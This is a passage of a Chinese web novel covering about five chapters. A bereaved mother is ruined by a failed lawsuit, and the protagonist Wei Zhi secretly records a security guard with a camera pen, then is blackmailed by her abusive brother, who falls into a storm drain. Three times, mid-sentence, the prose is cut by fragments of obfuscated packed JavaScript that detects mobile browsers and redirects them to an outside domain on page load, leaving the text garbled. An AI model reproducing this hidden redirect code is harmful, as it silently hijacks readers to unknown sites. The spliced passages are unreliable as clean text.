难道真的是那些人说的,这一切是她的女儿自讨苦吃,咎由自取? 不,分明是季琪琨逼死了她。 所有人都清楚这一点,只因他没有亲自动手,两人也非家庭成员,成功钻入法律阴影中的季琪琨就不必受到任何惩罚。 梅满的清白和正义呢? 连法律都无法依靠的话,还能依靠什么? 从今天起,她陷入了永夜。 翁秀越抱着女儿的旧手机,发出了野兽般的哭嚎。 败诉的第二天,她超出所有人的预料,准时踏入了公司的大门。 一路都有人朝她投来异样的目光。她视若未见,抬头挺胸。六厘米的高跟鞋清脆响亮地走进大厦,像是给所有想看她笑话的人一记耳光。 在更衣室换工服的时候,她听到了门外隐约的谈话声。 “……不愧是金牌销售,你看情绪多稳定啊。” “就是,哪儿看得出来死了女儿。” “我要是自己的孩子死了,我可没心思像她一样每天画全妆,穿得漂漂亮亮的出门。” “一点也看不出伤心的样子……” “搞不好就是想借热度敲一笔赔偿,毕竟男方是那个季钟永的侄子——” 交谈声戛然而止,因为换好工服的翁秀越冷着脸走了出来。 窃窃私语的两人尴尬地往另一个方向走了。 翁秀越正要离开,总经理看见她,匆匆走了过来。 “你在这儿啊,我还以为你今天不来了呢。” “我是不会旷工的。”翁秀越僵硬地说。 “我知道,我知道,你工作一向负责嘛——只不过,现在的情况下,你还是回去多休息一段时间的好。这件事闹得挺大,之前你频繁请假,你看我也都准了,就是体谅你嘛……” “我知道,我以后不会请假了。” “不是这么个事……现在你败诉了,这个,对我们公司影响也不是很好。有的电话都打到公司来了——”经理面露难色,“经历了这么大的事,你回去休息一段时间,对大家都好。” 翁秀越木然地站在原地。 经理叹了口气,同情地拍了拍她的肩膀,转身离开了。 早上九点,通常是她在办公室处理工作的时候。 现在的她,却只能在街上漫无目的的游荡。 她如行尸走肉一般走在街头,不知道真正通往救赎的路在何方。 翁秀越在路边一条长椅上随便坐了下来,她呆呆地看着从眼前经过的大学生们。有许多女孩,都像她的梅满那样青春美丽,她们的人生还很漫长,而她女儿的一生已经结束。 就在她坐着的这一刻,梅满正孤独一人躺在地下,一点一点地腐烂。 而凶手,则逍遥快活,不受任何惩罚。 她的眼泪冲花了眼线,宛如黑色的河流,肆无忌惮地流淌在颤抖的脸上。 她被未来抛弃了。 在这一刻,她清楚地认知到,她和她的女儿一样,都是被困住的逝者。 直到季琪琨受到惩罚,她的时间才会再一次流动。 否则,她将永远,永远,永远活在那不见天日的绝望之中。 20.第 20 章 虽然季琪琨说不用递交辞呈,但魏芷还是以收拾工位上个人物品的理由,在第二天来到画廊。 “你真的不用我陪你?”季琪琨在画廊门口放下魏芷的时候问。 “不用,我进去收拾好东西就走。这里打车也方便。你不是说今天的客人很重要么?”魏芷站在黑色添越前,看着车窗里的季琪琨。 最近季琪琨已经开始接触有意购买画廊的买家,今天这个展露出很大意向的客人刚美院毕业,是个雄心勃勃的富二代。季琪琨很重视这次会面。就连衣装,也看得出来特意迎合了对方的喜好。 “那你去吧,到家和我说一声。” 车窗缓缓升了上去,他的微笑融化在黑色的贴膜中。 添越重新启动,向前驶离的时候,魏芷转身向画廊走去。 画廊已经处于上班时间,所有人都各就各位。财务经理和同事刚刚知晓她离职的消息,她一边应对着李经理和库存会计的虚伪不舍,一边收拾着工位上属于自己的私人物品。 在这之中,最重要的毫无疑问是那支带摄像头的钢笔。 她把钢笔放进后勤部给她收拾东西的纸箱里,在两人的告别声中抱着纸箱走出办公室。 魏芷没有走电梯,而是走救生通道下到画廊背后的空地。那是属于画廊保安的地盘,一间两人共用的保安休息室孤零零地伫立在那里。一条笔直的小路从空地通往画廊外的大街,小路边上放着两个黑色的大垃圾箱。 今日站在门口上白班的不是谭孟彦,因此如果他在画廊,那就在休息室里。 魏芷单手抱着没有多少东西的纸箱,腾出一手敲响了房门。 半晌后,谭孟彦带着一丝沙哑的声音从门后响了起来: “谁?” “是我,魏芷。” 又是半晌的等待,门终于开了。 谭孟彦穿着一件随处可见的白背心,露出小麦色的胸膛,紧实的皮肤下,锁骨至胸骨根根分明。下身一条灰色运动裤,两条一长一短的松紧带像他此刻的神情一样,漫不经心地垂在身前。 他站在低矮的休息室门口,略微有些驼背。 “什么事?” 他声音沙哑,脸上带着一丝惺忪的睡意,一头乌黑茂盛的黑发没了帽子的束缚,正欢快地四翘着。 谭孟彦的目光落在她手里抱着的纸箱上,魏芷适时说道:“我今天辞职,想来和你道个别。” “……为什么?” “有一些原因,不能继续工作了。” “什么原因?”他刨根究底道。 “我们就站在门口聊吗?”魏芷笑道。 谭孟彦沉默片刻,让开了屋门。 “你不会想进来的。” 透过他让开的空间,魏芷看见了一个狭窄凌乱的空间,为数不多的家具就是一张木板床,仅铺着一张蓝色的几何床单,角落堆着几件衣服,以及墙边的储物柜,床边的一张小木桌。 “那你猜错了。” 魏芷抱着箱子走了进去,随手放到床边的小木桌上。 木桌立马倾斜了,眼看桌上生锈的烧水壶和箱子就要一起掉下桌,谭孟彦一个跨步来到了魏芷前方,一把扶住了歪倒的木桌,从地上捡了一块折叠起来的报纸,熟练地塞进短了一截的桌脚下。 他扶着木桌的那只手又长又壮,麦色皮肤下露出几条突起的青色血管,一直蜿蜒向手背。因为弯腰而紧绷起来的背部肌肉像一只振翅欲飞的大鹰。 “不好意思。”魏芷说。 “没什么。”谭孟彦说。 很客气,很生疏。符合他们目前的关系。 如果他们的关系真的仅仅如此,谭孟彦就没有大费周章监视她的理由了。 “坐吧。” 谭孟彦清理了木床上的杂物,请她坐了下来,他也在木床的另一头远远坐下。 “你为什么辞职?”他再次问道。 “这对你很重要么?” 谭孟彦没说话。 “你是一个人吗?” “什么?” “我说,你是一个人生活吗?”魏芷笑道。 “……是。” “我也是。”看着谭孟彦眼中一闪而过的困惑,她接着说道,“虽然我的身边有很多人,但我总是有种独自一人的错觉……谁知道那是不是错觉呢?”她自嘲一笑,“我这么说,你也不会懂吧?” 谭孟彦沉默了下来,她知道他一定懂。 假包里的二十三个有监听功能的GPS定位器让他明白她说的每一个字。 “我在自己家的住处,比你这里好不了多少。”她苦笑着说,“一个一米多的阳台,一张折叠床。白天是晾衣服的地方,晚上就是我的房间。没有门锁,家里的每个人都能随时穿过我的房间——哪怕我穿着睡衣躺在床上。对不起,这不是什么有趣的话题,但我实在找不到人说。” “……没事。” “结婚,似乎也只是从一个牢笼跳到另一个牢笼。”她说,“有时候,我真想一走了之。抛下所有人,隐姓埋名去另一个城市生活。可是这样似乎有些不负责任,你觉得呢?” 谭孟彦过了一会才说:“你要慎重考虑。换一个环境,也不见得比现在更好。” “如果你是我,你会怎么做?” “我不会是你。” “如果呢?” 魏芷轻轻歪头,一头柔顺的黑发从肩头滑下,那满是专注和认真的眸子映着他冷硬的面庞。 “如果我是你……”他的喉结上下滚动,静默了片刻,然后说,“我会过好你现在的生活。” “……确实,是我异想天开了。”魏芷笑着站了起来,抱起自己的箱子,“我不打搅你休息了。” 谭孟彦把她送到了门口。 魏芷抱着箱子往前走的时候,听到了他低沉的声音从身后传来。 “一切都会好的。” 她转过头的时候,休息室的铁门已经关上了。 他对她似乎并无恶意。 谭孟彦希望她继续维持现在的生活。留下和离开的最大区别,就是身边环境和人的变化。 有什么事情,是她必须呆在这里才能完成的? 魏芷一边思考,一边往前走去。黑色垃圾箱前多了一个臃肿的人影,她正用力提起一个装满了的塑料桶,往垃圾箱里倒着泔水,听到脚步声,她回头朝魏芷看来,随即露出惊喜的笑容。 “呀,小魏!”郑田心的目光落在魏芷抱着的纸箱上,眼中露出疑惑的神色,“你这是要去哪儿呀?” 她把倒空了的泔水桶放下,弄上油污的两只白白胖胖的手随手在围裙上一抹。 “我辞职了,田心姐。”魏芷说。 “啊?辞职?为什么?”郑田心瞪大眼睛,不可思议道。 “辞职在家备婚。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711184|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是吗?这么快就要结婚了,好事啊!小魏啊,你命好!”郑田心一脸羡慕,“我像你这么年轻的时候,也是十里八乡的一支金花,可惜没嫁好!你可千万要想清楚,别走了我的老路啊!” “田心姐,你什么意思?” “我刚刚看见你从保安小屋那里走出来……”郑田心看了看四周,压低声音说道,“那家伙就是个穷光蛋,你可别糊涂了!” “……田心姐,我记得你也是画廊最老的那批员工之一吧?”魏芷说,“你对他很了解吗?” “说很了解算不上,但我知道,那家伙穷得叮当响,不然怎么三十了还找不到老婆!”郑田心皱起眉头,毫不掩饰嫌弃的神情,“我听人说,他以前是个开货车的,后来身体不好被辞退了,钱也因为治病花光了,没地方要他,才来这里当的保安——” “他到底得了什么病?” “谁知道呢——他那臭脾气没人愿意搭理他。也就是我心肠好,厨房有剩下什么好东西,我都会给他送一份。就这啊,他对我也没个好脸色。你说这人脾气怪不怪?” “谁叫田心姐是天底下最善良的人呢?”魏芷恭维道。 “那可不!” 郑田心挺起胸脯,骄傲道。 “你走了也别忘记我,有空回来玩啊!”郑田心满脸不舍。 “好,再见,田心姐。” 魏芷笑了笑,抱着箱子走出了小路。 郑田心提起泔水桶正准备离开,忽然瞥见站在建筑物后的谭孟彦,她吓了一跳,泔水桶差点没拿稳。 “干嘛,大白天装鬼吓人呢?”郑田心不客气地说道。 “……” “别看了别看了,走走走——老板的女人,也是你高攀得起的?”郑田心做了个恶狠狠的表情,“小心老板开除你!” 谭孟彦的视线终于落到郑田心身上。 “随便。”他说。 魏芷坐在出租车后排,纸箱放在一旁。她戴上耳机,连接了钢笔上的摄像头。 保安小屋脏兮兮的地板和满是尘埃的木板床夹住视野两端。 钢笔在床底忠实地记录着它的所见。 谭孟彦穿着人字拖的两只脚就在画面中央。她听到他低沉的声音从床上传来。 “……现在怎么办?” “如果事情没有那样发展呢?” “我们监视了那么久,还是一点进展都没有。” “……我知道了。” 他在打电话。 与另一个人汇报情况。 魏芷的手臂上不知何时起了一层细密的鸡皮疙瘩,就像是冬夜中寒风穿过的冰凉触感,又似是毒蛇吐出的信子,在她脊背上缓缓滑过,带来一阵阵刺骨的寒意。 他甚至不是独自一人在监视她。 有另一个未知的人,在向他发号施令。 她的手机震了一下,她拿出来后,发现是魏来用陌生号码给她发的消息。 “钱准备得怎么样了?” 魏芷仿佛走在满是夜雾的峭壁边上,一不小心,就会跌落万丈深渊,粉身碎骨。 即便如此—— 即便如此,她也不能停下。 她所担负的,不止是她一个人的人生,还有逝去之人的希望。 “快了。” 她望着那黑色的字体,按下了发送。 就算前方通向地狱,那也是她的天堂。 21.第 21 章 时值傍晚,魏家小卖部至今仍未有一单生意上门。 魏来坐在店里的藤椅上,正和女朋友打视频电话,听到巷子里传来父亲熟悉的脚步声,连忙挂掉电话,正襟危坐起来。 魏杉一脸烦躁的跨进半腐朽状态的门槛,开口就问:“今天生意怎么样?” “没生意。”魏来小心翼翼觑着魏杉的脸色。 “怎么会没生意?是不是你又偷懒没开店!”魏杉勃然大怒,一脚踹在藤椅上,吱呀一声,魏来跌坐在地上。 “我没偷懒!我今天真的一直在这里,就是没人上门啊!”魏来急忙辩解。 “以前都那么多人,怎么现在就没人了?!” “那谁知道啊!”魏来顿了顿,急忙说,“肯定是他们嫌这里死过人——晦气!最近巷口那家小超市的生意好了不少呢,我下午回来的时候看见……” 魏来紧急闭嘴,但已经来不及了。 “你还说你没偷懒?!不在家看店,又跑去上网,家里有金山银山都要被你败完!” 魏杉揪起魏来的头发,脱下脚上的拖鞋往他脸上打去,带着尘埃和半湿泥土的耳光重重扇在他的脸上。响亮的声音如同破裂的瓷碗,尖锐而突兀,击碎了小卖部里原本静谧的空气。 魏来感觉到自己的脸颊正在迅速肿起,他不敢躲闪,一边哀嚎一边含糊不清地求饶道:“爸,我错了,错了!” 那一瞬间,强烈的恐惧让他和几岁时候的自己合体了,他依旧没有强壮的身躯,没有独立生活的经济能力,没有坚强不屈的心灵。他能做的唯有双手抱头,保护自己最脆弱的部位。 魏杉气喘吁吁地停下歇一口气,正巧兜里的手机响了起来。他示威地瞪了眼瑟缩的魏来,接起了这个陌生来电。 “谁啊?什么,收废品?你打错了吧——”他烦躁地一转身,目光扫到那扇老旧的小木门,内里杂乱的起居空间浮现在脑海中,“等下,你回收价格是多少?” 挂了电话,他对魏来说:“去里面把你妈的东西收出来!那些不用的,能卖点钱的玩意都找出来,对了,看看你姐那里,有没有什么忘记带走的值钱东西——” 魏来如获大赦,赶紧去了木门后的里间。 他打开客厅昏黄的顶灯,扫视着自母亲去世后无人打扫而变得凌乱肮脏的房间,扯着嗓子喊道:“爸,拿什么收啊?” 片刻后,木门打开,魏杉从外面扔了一个装米的麻布口袋进来,又砰一声地关上了门。 自魏芷离家,母亲离世,只剩下他一人承担魏杉的怒火。他一边在心里诅咒那些独自逃跑的人,一边不情不愿地捡起地上的麻袋。 “妈妈的东西都不要了吗?”他向着那扇木门扬声喊道,再次确认。 “留着干什么?当传家宝吗!”魏杉不耐烦的声音从门外传来。 魏来得到指示,走进主卧,把衣柜里属于王琳的东西都清了出来。 王琳的衣服都是地摊上的便宜货,放闲鱼都卖不掉,只能称斤卖给收废品的。 虽然人已经走了,但衣服上好像还残留着母亲的气息。魏来抱着衣服默默流了一会眼泪,有些不舍,但又不敢违背魏杉的命令,所能做的,也不过是另外找出几个干净的塑料口袋,单独装母亲的衣物。 废纸壳,废铜烂铁,都陆续进了麻布口袋。 魏来四下张望,寻找着可以换钱的东西。 他的目光落到阳台角落靠墙放的那张折叠床上,一股恶狠狠的怒气油然而生。 “让你回来了也只能睡地上!” 他自言自语道,提起折叠床就往麻布口袋里塞。 一本红色的旧存折,从折起来的部分啪嗒一声掉了出来。 阳台上的空气似乎突然安静下来了,魏来目不转睛地看着那本存折,屏息凝神的呼吸声清晰可闻。 他回头看了眼依然紧闭的木门,捡起了那本红色封皮的存折。 魏来往后翻起,直接找到最后一次交易记录,存折里的余额让他大失所望——四角六分。 这笔最后的交易定格在八年前。 “神经病,一个不用的存折藏这么深——” 魏来没好气地把存折本一起扔进装满废品的麻布口袋里。 他站在原地,看着躺在废品最上层的红色存折本,脑中忽然开始快速运转。 这个存折本,似乎有他还不清楚的重要性,否则,魏芷绝不会特意藏在每天睡觉的地方。 藏在这里,不就是为了随时都可以看到吗? 魏来重新拿出红色存折本,从第一页仔细看了起来。 这张存折的开户时间是十二年前,那时候魏芷十四岁,还在读初二。第一笔交易是开户时往里存的二十块钱。自那以后,她差不多每半年,会往里面存几十块钱。 支取则是零碎的,有时候是五块,有时候是二十块。 魏来忽然想起有一次学校组织秋游会,要求参与的学生交二十块车费,魏杉舍不得没让他去,但魏芷却去了。 她说是同学请她去的。 那天晚上,她拿了一个秋游会上分到的小面包回来,趁她去洗澡的时候,魏来从她的书包里翻出了那个小面包。 黄色边缘装饰的包装袋,装着圆滚滚胖嘟嘟的小面包,他把鼻子凑到面前,隐约闻到了扑鼻的奶香味。 他把它扔在脚下,两脚踩爆,踩扁,然后扔回了她的书包。 他本以为她看到那个被踩扁的小面包会哭,但她没有。 她沉默地看了一会,然后扔进了垃圾桶。 他恨她这样风轻云淡,好像已经从父亲的暴力和穷苦的家庭生活中解脱出来。她越是表现得若无其事,他就越恨。 他们本来可以相依为命,是她先抛弃了他。 这张存折就是证据。 魏来强忍愤怒继续往下翻阅,从第二年开始,存折上出现了转账记录。 每个月的一号,魏芷都会收到一笔两百块钱的转账。 最后一次打款,对方直接转了两万四千八百元四角六分过来。 再然后,魏芷一次性支取了卡里的钱,这是存折上的最后一条交易记录。 魏来大约知道自己该往哪里查了。他拿出手机,拨通了其中一个在银行做柜员的狐朋电话。 “喂?是我,我想让你帮我查一个事儿。我找到了我姐在你们行的存折,我想让你帮我查下每个月固定给她转账的那个开户人的名字。不用,我当然知道规矩,你看了私底下给我说一声就行。完事请你吃烧烤!谢了!我马上把她的卡号发给你——” 刚挂断电话,门外传来魏杉的怒吼:“魏来,你是不是又在偷懒?!” “没有!我干着呢!”魏来把存折揣进牛仔裤的口袋里,连忙捡起麻布口袋,装作忙碌的样子。 木门被推开,面露不快和怀疑的魏杉走了进来。他看着正在努力把折叠床塞进麻布口袋的魏来,半信半疑地说:“你刚在和谁说话?” “我自言自语啊,这个折叠床生锈了,很硌手!” “你姐有没有留下什么东西?”魏杉的目光在小小的阳台上打转。 “她把值钱的都带走了——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721204|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “泼出去的水!真他妈没良心!”魏杉骂了一句,看阳台上属于魏芷的存在越看越不舒服,烦躁地挥了挥手,“把她的衣服都给拿去卖了!反正也没回来拿,一定是在那边吃香的喝辣的,根本用不上!” 魏来毫不犹豫地抽出那些整洁堆放起来的收纳箱,把里面的衣物一股脑地倒进麻布口袋。 “你这两天找个时间去画廊,跟你姐说,这个月小卖部生意不好,让她拿五千块回来。别自己日子过好了就忘记亲人。” 魏来应了,魏杉在小阳台上目光扫来扫去也没看见什么值钱东西,砸吧着嘴走了出去。 “对了,赶紧去做饭。我饿了。”关门之前,他冷冷看向魏来。 …… 保安小屋里的钢笔,在第五天断电关机。 而谭孟彦,在第三天的时候就彻底离开了保安小屋。 魏芷通过对季琪琨旁敲侧击,才知道他在她离开的第二天就辞职不干了。 她有一种预感,他和他身后的人,还会再次出现在她眼前。 辞职之后的这几天,她除了出门买菜外,几乎没有其他活动。每天除了看电视,就是睡觉。一开始,她不明白季琪琨要她辞职的用意。 直到门锁开门的提醒音变得悦耳而动听,无论她是在卧室还是阳台,只要听到那个声音,就不由自主地怀着喜悦的心情走向门口迎接时—— 她终于明白了。 五点四十八。 距离季琪琨下班还有十二分钟。 魏芷已经坐在客厅的沙发上等待,室内的空气沉闷得几乎可以拧出水来,雨水拍打在玻璃上的声音,夹杂着远处雷鸣的低沉,被无边无际的阴云所吞噬。 雨水在魏芷身后的玻璃上汇聚成溪流,缓缓滑落,留下一道道模糊不清的痕迹。 室内的灯光柔和而昏黄,投射在光滑的地面上,映出一片片水光粼粼的倒影。家具的轮廓在这样的光线下显得有些扭曲,增添了几分不真实感。空气中弥漫着一股淡淡的湿气,让人联想到雨林中正在腐烂的木头。 一个陌生来电打断了她的愣神,她大概猜到了对方是谁——只有被拉黑的魏家人,才需要用别人的号码给她打电话。 她按下接听键,拿到耳边,在漫长的呼吸声后,果然听到了魏来的声音。 “我改变主意了。” 他的声音带着一种古怪的急促,不是运动之后自然而然的喘息,而是饿极了的豺狗忽然看见猎物,由心而发的颤抖。 “每个月给我四万——你能为了妈每个月拿出这笔钱,自然也能想办法拿给我。” “我早就猜到你会出尔反尔。”魏芷说,“四万?我一分都不会拿给你。过会,我就把一切都告诉季琪琨。” 她放下手机,正要挂断电话。 “你连存折的事情也要和他坦白吗?” 魏芷的手像被按下了暂停键,猛地停在了挂断按钮的上方。 魏来激动和窃喜的声音从手机里继续传出。 “你藏得真深啊,魏芷——我们所有人都被你骗了,你居然是——” 魏芷挂断了电话,但她的心跳依然没有恢复平常。 她定定地望着手机屏幕,就像是通话还未结束。 很快,那个号码又打了过来。魏芷挂断,他又打,挂断,又打。 一条短信发到了她的手机上。 她慢慢地打开短信。 “明天晚上十二点之前,我要见到四万块转来我的卡上。” “否则,我会向所有人揭露你的真面目。” 22.第 22 章 “……持续两日的暴雨,预计将在明晚停止。请观众朋友们注……意关……窗……” 黑色的剪刀继续修着电视电源线,剪出参差不一的缺口。剪刀放回厨房的抽屉,一根白皙的手指拨乱地上散乱的电源线碎屑。 魏芷敲开了书房紧闭的门。 “琪琨,我出去一趟,很快就回来。” “这么晚了,你去哪儿?” “电视机的电源线被老鼠啃断了,我出去买根电源线。”魏芷说,“顺便去一趟外卖站点,把电瓶车的押金给退了。” “家里有老鼠?”季琪琨眼中闪过怀疑。 “可能是没关窗,顺着管道爬进来了。明天我让灭鼠的人来一趟。” “那点押金不要了也行。”季琪琨说,“天都黑了,外面又下着雨,你出去不安全。” “电源线总要买吧,不然今晚没事情可做。”魏芷说,“别担心,要不然多久我就回来。” “……那你开车出去吧,钥匙在玄关。”季琪琨面露抱歉,“我线上有一场会,不然我就陪你去了。” “你安心工作。” “路上小心,快点回来。” 季琪琨的嘴唇在她额头轻轻印了一下,叮嘱道。 魏芷拿起玄关鞋柜上的钥匙和手机,走出季琪琨家门。 黑色添越缓缓驶出地库,雨刮器来回不断地清扫着车前窗上瓢泼的雨水,魏芷手握着方向盘,面孔在时而清晰时而模糊的玻璃后若隐若现。 外卖站点一如以前的样子,魏芷讲清了今后不再兼职外送员后,收回了当初缴纳的押金。 “这么大的雨你还出来退押金,急用钱?” 站点老板一边扫码给她转钱,一边随口问道。 魏芷顿了顿,苦笑道:“弟弟要用钱。” “有个弟弟,难怪之前那么拼。”老板砸了咂嘴,“那是谁的车?” “我未婚夫的。” “未婚夫那么有钱,还出来跑外卖?” “所以以后不跑了。” 押金终于转回了魏芷的微信钱包,她收起手机,对老板道了声谢。 魏芷打伞回到车上,雨水在开门的那一瞬间飘了进来,她顾不上擦拭,抖了抖湿淋淋的伞,匆匆发动汽车,往约定的地点开去。 晚上九点,暴雨倾盆的江都市,街上只有孤零零的路灯。昏黄的光晕被雨水扭曲拉长,映照着空荡荡的道路。 魏芷的心被一种不确定的感觉所拉扯,像丝线悬挂着重物,牵动着她的心也向下沉去。 雨刮器来来回回地刮动,发出机械而有节奏的声音。 她把车停在蓝天小区外,打伞进入小区大门。门禁如同虚设,一推就开,值班的保安正在小屋里播放收音机,听最新的彩票中奖号码。魏芷推门进入,保安头也不抬。 她接起了外套兜里震了许久的手机。 “你来没有?!”魏来不耐烦的声音混合着大雨的声音传来。 “来了。”魏芷说,“你到了吗?” “早就到了,你再不来我就走了!” “最多两分钟。” 四周静得可怕,魏芷匆匆往前走去,雨水从雨伞的边缘淅沥沥地淌下,小区绿化带里的树木在风雨中摇曳,枝条像是鬼魅的手指,企图抓住什么看不见的东西。 一声仿佛要震动大地的轰鸣声从遥远的天边外响起。 她下意识地停下脚步,看向那雷鸣的方向,夜色在暴雨中被染得更浓重,如同墨汁在水中迅速扩散,吞噬了最后一丝光亮,只剩下无边无际的黑暗与雨水交织的细语。 她定了定心神,走完了最后的一段路。三单元近在眼前,楼道里发黄的钨丝灯让整个楼道都像是染上了黄色的油垢。 她快步走进通道口,收起雨伞,看向站在晦暗光线里的魏来。 “钱呢?”他开口就问。 “你急什么?”魏芷在楼梯上找了一片干的地方坐下,从外套兜里拿出几个小面包,“吃饭没有?” “……你想干什么?”魏来狐疑地看着她手里的小面包。 那熟悉的透明包装,浅黄色装饰,包装袋里圆滚滚的面包,让他想起了以前的事。 “说几句话再转钱行不行?连这点时间都没有?”魏芷说。 魏来迟疑片刻,在她身旁坐了下来。 魏芷扔了两个小面包给他,自己撕开一个,大口咬了下去。 魏来看着她,过了一会,也撕开了其中一个小面包的包装。 “你小时候就爱吃这些东西。”魏芷一边吃,一边望着楼道外越下越大的暴雨。 魏来没说话。 “你还记得,小时候有一次学校组织秋游会吗?你没去,我去了。” “……当然记得。”魏来心不在焉地吃着小面包。 曾经香浓扑鼻的奶香,如今他已经明白,只是人造香精的杰作,是廉价的穷人幻想,撕开包装,会发现一切都是假的。 只有在骨头缝里流淌的贫穷是真的。 “结束的时候,老师给每人都发了一个小面包。我特意留着没吃,想送给你。” “你觉得这种话我会信吗?”魏来冷笑。 “信不信随你,反正那个小面包最后也没到你手里。”魏芷低下头,又咬了一口小面包,“坐车回来的时候,被我不小心压扁了。” “我到家之后才发现,不好意思再给你,就扔进垃圾桶了。” 魏来没说话,只是大口大口地往嘴里塞着小面包。 “我经常会想,我们到底是怎么变成现在这样的。我们一开始不是这样,你还记得吗?”她看向身旁的魏来。 “我懂了,你是想打感情牌,然后让我幡然醒悟?”魏来露出嘲讽的表情。 “我只是想知道答案。”魏芷看着他的眼睛,“你为什么那么恨我?” 恨—— 这个从魏芷口中说出的字,挑起了魏来生长在心脏上的那层薄膜,露出下面最鲜红最赤裸的血肉。 这个从未设想过的可能,他竟然不想反驳。在这一刻,他才忽然意识到,原来他在恨她。 他恨她,比恨父亲更甚。 时而把他高高抱起,时而又对他拳打脚踢的是父亲,然而他最恨的,是无法保护他的母亲,是先他一步逃出沼泽的姐姐。 “……只有你走出去了。” 魏来的喉咙里似乎有种巨大的压迫,他的每个字都仿佛是从那种压力中挤压而生,他看着眼前的魏芷,眼中是不加掩饰的恨意。 “我们约好要互相守护,但你却抛下我一个人逃走了。” 我恨你。 所以要拼命将你拖回原来的地狱。 只有在毒沼泽里,我们才能相依为命。 回来吧,姐姐。 “回到我们的家来,我们还能像从前一样。”他突然改变了最初的想法,用一种热切的目光看着她,“你同意吗?” “我不可能回去。”魏芷说。 魏来脸上的温度霎时消失了,他冷冷地看着魏芷,说:“那我们没什么好说的。把钱转过来,我没时间和你闲聊。” “真的没有一点情面可讲?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721205|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 魏来站了起来,把吃完的包装袋随手一扔。 “搞快点,不转钱我立马去找季琪琨。” 楼道里沉默了好一会。 “我要先看东西。”魏芷说。 魏来早有准备,从裤兜里掏出红色封皮的存折,打开来在魏芷眼前晃了一眼,然后立即又塞进了牛仔裤的裤兜里。 “行了?转钱。” “东西给我,我再转钱给你。” “你做梦呢?”魏来拧起眉头,“你以为我是傻瓜,给你了你还会给我钱吗?别说那么多废话,转不转?” 魏芷拿出了手机,打开银行发来的短信给他看余额。 “我只凑到了一万二。” “你耍我?”魏来勃然大怒,“同样的钱,你给妈就能弄到,给我就弄不到?你糊弄谁呢!手机给我!” 不等魏芷反应,魏来已经夺走了她的手机,她想要抢回,被魏来一把推到墙上。 肩膀撞上坚硬的墙面,一阵锐痛从骨头传来,魏芷咬着牙看着魏来捣鼓着她的手机,没过一会,就把手机递了回来。 “输密码。”他威胁道。 魏芷慢慢接过手机,输入密码,魏来马上又把手机抢了回去。她看着他打开了手机上的另一个系统,找到一个贷款APP,点了进去。 魏来熟练地找到她剩余的额度,露出满意的笑容:“你不是还能借吗?借三万出来。现在——” “妈生病后的整整四年,都是我白天上班夜里跑外卖,拆东墙补西墙凑的钱。你知道我为什么要选在这里见面吗?因为整整四年,我每天晚上都会在这样的步梯上不要命地奔跑!” 魏芷声音沙哑,平静的面容逐渐崩溃。 “你在家里想喝饮料就喝饮料,想点外卖就点外卖。我在外面连瓶矿泉水也舍不得买,每次都是强忍着口渴回家喝冷开水,你——” “谁不会卖惨啊!”魏来大声打断了她的话,“你少和我说这些没用的!你这是没苦硬吃,妈明明可以吃每个月几百块的药,是你非要给她吃进口的,这能怪我吗?!” 魏芷的眼眶通红,她愤怒而痛苦地盯着他。 “……魏来,你就不怕遭报应吗?” “报应?”魏来哑然失笑,“杀人放火金腰带,你没听过吗?报应?那是什么东西!我限你一分钟之内把钱贷出来,不然我当着你的面给季琪琨打电话。” 魏来拿出他的手机。 她看着他随时可能拨出的手机,不得不从刚还了一笔的网贷平台上,又借了三万出来。 钱不到一会就来到了她的账上,魏来目不转睛地盯着她继续转账,眼中的贪婪在污垢一般的光线下更加扭曲。 随着一声提示音后,魏来收下了转账。 他提起竖在墙边的雨伞,嘴边噙着一抹恶意的笑意:“下个月见,姐。记得下回找个好点的天气。” 魏芷站在阴冷的楼道里,她的目光穿过狭窄的过道,直直地落在那把微微倾斜的伞上,伞下的魏来没有回头,径直走进了暴雨如注的外界。 钨丝灯微弱的光晕被浓重幽深的夜色所吞噬,天空中垂落下来的每一滴雨水,都像是锋利的刀片,切割着黑暗中的寂静。 那些刀片,接二连三地落在魏来身上。 魏来的手机灯光隐约从伞下露出,魏芷甚至能想象出,此刻他看着钱包余额的兴高采烈的神情。 他低头看着手机,右脚踩上淹没在雨水中的下水井盖。 咔嚓一声,井盖翻转,魏来消失在暴雨之中。 片刻后,魏芷尖叫起来。 23.第 23 章 雨幕如帘,将世界一分为二。 派出所内,灯光明亮而稳定,像是孤独的灯塔,在一片混沌中坚守着最后的阵地。墙壁上挂着的圆形时钟,发出轻微而有节奏的滴答声,与外界的狂风骤雨形成了一种奇异的和谐。 